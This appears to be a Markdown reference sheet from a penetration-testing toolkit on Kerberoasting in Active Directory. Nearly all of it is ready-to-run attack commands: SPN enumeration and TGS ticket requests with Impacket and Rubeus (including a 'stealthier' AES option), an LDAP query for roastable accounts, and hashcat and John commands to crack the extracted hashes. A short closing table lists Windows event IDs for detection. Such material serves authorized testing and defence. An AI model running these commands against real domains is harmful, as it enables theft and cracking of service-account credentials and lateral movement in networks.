<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Performing Kerberoasting

## Impacket — GetUserSPNs.py

### Enumerate SPNs
```bash
GetUserSPNs.py 'DOMAIN/user:password' -dc-ip <DC_IP>
```

### Request TGS Tickets
```bash
GetUserSPNs.py 'DOMAIN/user:password' -dc-ip <DC_IP> -request -outputfile hashes.txt
```

### With Kerberos Authentication (Pass-the-Ticket)
```bash
export KRB5CCNAME=/tmp/ticket.ccache
GetUserSPNs.py 'DOMAIN/user' -dc-ip <DC_IP> -k -no-pass -request
```

### Key Options
| Flag | Description |
|------|------------|
| `-request` | Request TGS tickets (not just enumerate) |
| `-outputfile` | Save hashes to file |
| `-target-domain` | Target a specific domain in a forest |
| `-usersfile` | File with specific users to target |
| `-k` | Use Kerberos authentication |
| `-hashes` | Use NTLM hash instead of password (LM:NT) |

## Rubeus

### Kerberoast All
```powershell
.\Rubeus.exe kerberoast /outfile:hashes.txt
```

### Target Specific User
```powershell
.\Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt
```

### AES Roasting (Stealthier)
```powershell
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
```

### Statistics Only
```powershell
.\Rubeus.exe kerberoast /stats
```

### Key Flags
| Flag | Description |
|------|------------|
| `/outfile:` | Save extracted hashes |
| `/user:` | Target specific SPN account |
| `/rc4opsec` | Request RC4 only for accounts without AES |
| `/aes` | Request AES-encrypted tickets |
| `/stats` | Show roastable accounts without requesting tickets |
| `/domain:` | Target specific domain |
| `/dc:` | Target specific Domain Controller |

## Hashcat Kerberos Modes

| Mode | Description | Example Hash Prefix |
|------|------------|-------------------|
| 13100 | Kerberos 5 TGS-REP (RC4) | `$krb5tgs$23$*` |
| 19600 | Kerberos 5 TGS-REP (AES-128) | `$krb5tgs$17$*` |
| 19700 | Kerberos 5 TGS-REP (AES-256) | `$krb5tgs$18$*` |
| 18200 | Kerberos 5 AS-REP (RC4) | `$krb5asrep$23$*` |

### Cracking Commands
```bash
# RC4 TGS tickets
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule

# AES-256 TGS tickets
hashcat -m 19700 hashes.txt wordlist.txt -r rules/best64.rule

# Show cracked results
hashcat -m 13100 hashes.txt --show
```

## John the Ripper

```bash
john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
john --show --format=krb5tgs hashes.txt
```

## LDAP SPN Queries

```bash
# All user accounts with SPNs
ldapsearch -H ldap://DC_IP -D "user@domain" -w 'pass' \
  -b "DC=domain,DC=local" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \
  sAMAccountName servicePrincipalName memberOf pwdLastSet
```

## Detection — Windows Event IDs

| Event ID | Log | Description |
|----------|-----|------------|
| 4769 | Security | Kerberos Service Ticket Operation |
| 4770 | Security | Kerberos Service Ticket Renewed |

**Key 4769 fields:** `ServiceName`, `TicketEncryptionType` (0x17 = RC4), `ClientAddress`
